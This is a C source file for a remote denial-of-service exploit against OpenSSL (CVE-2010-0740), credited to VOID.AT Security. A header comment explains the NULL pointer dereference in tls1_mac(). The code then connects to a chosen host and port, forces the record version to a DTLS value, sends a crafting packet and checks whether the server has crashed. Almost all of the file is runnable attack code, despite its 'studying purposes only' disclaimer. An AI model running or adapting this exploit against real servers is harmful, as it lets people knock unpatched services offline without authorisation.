/***********************************************************
* hoagie_openssl_record_of_death.c
* OPENSSL REMOTE DENIAL-OF-SERVICE EXPLOIT
* - OpenSSL 0.9.8m (short = 16 bit)
* - OpenSSL 0.9.8f through 0.9.8m (short != 16 bit)
*
* CVE-2010-0740
*
* Bug discovered by:
* Bodo Moeller and Adam Langley (Google)
* Philip Olausson <po@secweb.se>
* http://openssl.org/news/secadv_20100324.txt
*
* The main problem is in ssl/t1_enc.c => tls1_mac() function
*
* - OpenSSL 0.9.8m
* if (ssl->version == DTLS1_BAD_VER ||
* (ssl->version == DTLS1_VERSION && ssl->client_version != DTLS1_BAD_VER))
* {
* unsigned char dtlsseq[8],*p=dtlsseq;
* s2n(send?ssl->d1->w_epoch:ssl->d1->r_epoch, p);
*
* - OpenSSL 0.9.8f - 0.9.8n
* if (ssl->version == DTLS1_VERSION && ssl->client_version != DTLS1_BAD_VER)
* {
* unsigned char dtlsseq[8],*p=dtlsseq;
*
* s2n(send?ssl->d1->w_epoch:ssl->d1->r_epoch, p);
*
* There is a NULL pointer dereference => ssl->d1 because d1 is only initialized in
* ssl/d1_lib.c => dtls1_new(). So if you use SSLv23_server_method() or
* TLSv1_server_method() this variable will be NULL.
*
* If the patch (see http://openssl.org/news/secadv_20100324.txt) is not applied
* its possible to set the version to DTLS1_BAD_VER (0x100) or DTLS_VERSION (0xfeff)
* and transmit the packet to the server or client to trigger the vulnerability.
*
* When you are using OpenSSL 0.9.8m you can send DTLS1_BAD_VER because 0x100 is not
* a problem with signed/unsigned.
*
* If you are using OpenSSL 0.9.8f to 0.9.8n you have to trigger the vulnerability
* via DTLS1_VERSION. In that case version will be 0xfffffeff. So it doesnt work
* if DTLS1_VERSION is 16 bit.
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* andi@void.at
* http://www.void.at
*
************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <openssl/ssl.h>
/* usage
* display help screen
*/
void usage(int argc, char **argv) {
fprintf(stderr,
"usage: %s [-h] [-v] [-d <host>] [-p <port>]\n"
"\n"
"-hhelp\n"
"-vverbose\n"
"-d host SSL server\n"
"-p port SSL port\n"
"-t target\n"
" 0 ... OpenSSL 0.9.8m (short = 16 bit) - default\n"
" 1 ... OpenSSL 0.9.8f through 0.9.8m (short != 16 bit)\n"
,
argv[0]);
exit(1);
}
/* connect_to
* connect to remote http server
*/
int connect_to(char *host, int port) {
struct sockaddr_in s_in;
struct hostent *he;
int s;
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
return -1;
}
memset(&s_in, 0, sizeof(s_in));
s_in.sin_family = AF_INET;
s_in.sin_port = htons(port);
if ( (he = gethostbyname(host)) != NULL)
memcpy(&s_in.sin_addr, he->h_addr, he->h_length);
else {
if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
return -3;
}
}
if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) {
return -4;
}
return s;
}
/* ssl_connect_to
* establish ssl connection over tcp connection
*/
SSL *ssl_connect_to(int s) {
SSL *ssl;
SSL_CTX *ctx;
BIO *sbio;
SSL_METHOD *meth;
CRYPTO_malloc_init();
SSL_load_error_strings();
SSL_library_init();
// meth = TLSv1_client_method();
meth = SSLv23_client_method();
ctx = SSL_CTX_new(meth);
ssl = SSL_new(ctx);
sbio = BIO_new_socket(s, BIO_NOCLOSE);
SSL_set_bio(ssl, sbio, sbio);
if (SSL_connect(ssl) <= 0) {
return NULL;
}
return ssl;
}
int main(int argc, char **argv) {
struct sockaddr_in s_in;
struct hostent *he;
char data[1024];
int s;
int target = 0;
char c;
char *destination = NULL;
int port = 0;
SSL *ssl = NULL;
fprintf(stderr,
"hoagie_openssl_record_of_death.c - openssl ssl3_get_record() remote\n"
"-andi / void.at\n\n");
if (argc < 2) {
usage(argc, argv);
} else {
while ((c = getopt (argc, argv, "hd:p:t:")) != EOF) {
switch (c) {
case 'h':
usage(argc, argv);
break;
case 'd':
destination = optarg;
break;
case 'p':
port = atoi(optarg);
break;
case 't':
target = atoi(optarg);
break;
}
}
if (!destination || !port) {
fprintf(stderr, "[*] destination and/or port missing\n");
} else if (target && target != 1) {
fprintf(stderr, "[*] invalid target '%d'\n", target);
} else {
s = connect_to(destination, port);
if (s > 0) {
fprintf(stderr, "[+] tcp connection to '%s:%d' successful\n", destination, port);
ssl = ssl_connect_to(s);
if (ssl) {
fprintf(stderr, "[+] ssl connection to '%s:%d' successful\n", destination, port);
snprintf(data, sizeof(data), "GET / HTTP/1.0\r\n\r\n");
fprintf(stderr, "[+] sending first packet ...\n");
SSL_write(ssl, data, strlen(data));
if (!target) {
ssl->version = DTLS1_BAD_VER;
} else {
ssl->version = DTLS1_VERSION;
}
fprintf(stderr, "[+] sending second paket ...\n");
SSL_write(ssl, data, strlen(data));
SSL_shutdown(ssl);
close(s);
sleep(1);
s = connect_to(destination, port);
if (s > 0) {
fprintf(stderr, "[-] exploit failed\n");
close(s);
} else {
fprintf(stderr, "[+] exploit successful\n");
}
} else {
fprintf(stderr, "[-] ssl connection to '%s:%d' failed\n", destination, port);
}
} else {
fprintf(stderr, "[-] tcp connection to '%s:%d' failed\n", destination, port);
}
}
}
return 0;
}